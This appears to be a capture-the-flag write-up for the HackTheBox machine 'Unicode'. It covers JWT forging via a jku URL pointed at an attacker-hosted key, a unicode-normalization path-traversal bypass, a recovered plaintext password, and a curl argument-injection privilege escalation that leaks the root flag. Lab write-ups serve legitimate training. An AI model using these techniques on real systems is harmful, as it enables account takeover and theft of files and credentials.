Home Unicode writeup
Post
Cancel
Preview Image

Unicode writeup

Summary

This box focuses on exploiting an authentication system using a jwt with an insecure jku parameter. After this, we can do unicode normalization to gain lfi, which will allow us to get a password. We can then get the root flag by reversing a python binary.

Foothold

We start out by doing an nmap port scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.92 scan initiated Sat Mar  5 14:59:22 2022 as: nmap -sC -sV -Pn -o nmap/ini.txt 10.129.151.92
Nmap scan report for 10.129.151.92
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-generator: Hugo 0.83.1
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar  5 14:59:33 2022 -- 1 IP address (1 host up) scanned in 10.57 seconds

Port 80 and 22 are open. WE start by checking out their website hosted on port 80:

We can then create a user and login.

When we login, we can check our cookies and see that we are given a jwt for authentication. We can check out how this jwt is formed via jwt.io.

As we can see, the jwt uses an rku, which is essentially a URL to somewhere on the website which contains a public key in JSON format that is used to validate the token.

The rku file

WE can go to mkjwk to make our own public key, and then change the jwt in jwt.io so that the user field is admin, and the rku URL is http://hackmedia.htb/static/../redirect?url=10.10.14.13/jwks2.json:

When we then use this jwt in our browser, we can see on our http server that the site is requesting our key, and using it to validate our jwt. This gives us access to the admin dashboard.

In the dashboard we can request to see a report, however we are jsut informed that it is being prepared and to check back later. If we try to access other files than the pdf, we get told they do a lot of input filtering:

Instead of trying to do lfi with the classic payloads starting with ../../../ and so on, we can do unicode normalization. More on this here. We use the unicode character , which normalizes to .., we can bypass the filtering and we have lfi.

If we read the file located at /etc/nginx/sites-available/default, we find that the web root is /home/code/app, and that a password is being taken from a file named db.yaml. There is also a directory named /home/code/coder. We can then read the file /home/code/coder/db.yaml

We can then login as the user code with the credentials: code:B3stC0d3r2021@@!

Privilege escalation

If we run sudo -l, we can tell that we have sudo rights to /usr/bin/treport. This is a binary file, and íf we run it, we can tell that the binary uses curl to download a threat report from a URL that we can supply. If we download the binary, and then use pyinstxtractor to extract the pyc files from the binary, we can reverse the binary. I use pycdc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Source Generated with Decompyle++
# File: treport.pyc (Python 3.10)

Unsupported opcode: <255>
import os
import sys
from datetime import datetime
import re

class threat_report:
    
    def create(self):
Unsupported opcode: <255>
        file_name = input('Enter the filename:')
        content = input('Enter the report:')
    # WARNING: Decompyle incomplete

    
    def list_files(self):
        file_list = os.listdir('/root/reports/')
        files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
        print('ALL THE THREAT REPORTS:')
        print(files_in_dir)

    
    def read_file(self):
Unsupported opcode: <255>
        file_name = input('\nEnter the filename:')
    # WARNING: Decompyle incomplete

    
    def download(self):
Warning: block stack is not empty!
        now = datetime.now()
        current_time = now.strftime('%H_%M_%S')
        command_injection_list = [
            '$',
            '`',
            ';',
            '&',
            '|',
            '||',
            '>',
            '<',
            '?',
            "'",
            '@',
            '#',
            '$',
            '%',
            '^',
            '(',
            ')']
        ip = input('Enter the IP/file_name:')
        res = bool(re.search('\\s', ip))
        if res:
            print('INVALID IP')
            sys.exit(0)
            if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
                print('INVALID URL')
                sys.exit(0)
                for vars in command_injection_list:
                    print('NOT ALLOWED')
                    sys.exit(0)
                cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
                os.system(cmd)
                return None


# WARNING: Decompyle incomplete

As we can see, there is a blacklist of symbols in the code, however we can use {} and ,. To get the root flag we can supply the ip {--config,/root/root.txt}. Since the root flag is not a valid config file for curl, it will print the contents to stdout while throwing errors. This can be used to read the flag:

1
2
3
4
5
6
7
8
9
10
11
12
code@code:~$ sudo /usr/bin/treport 
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{--config,/root/root.txt}
Warning: /root/root.txt:1: warning: 'ee93e256d4878cfc8759ffdb5711067c' is 
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information

Rooted!

This post is licensed under CC BY 4.0 by the author.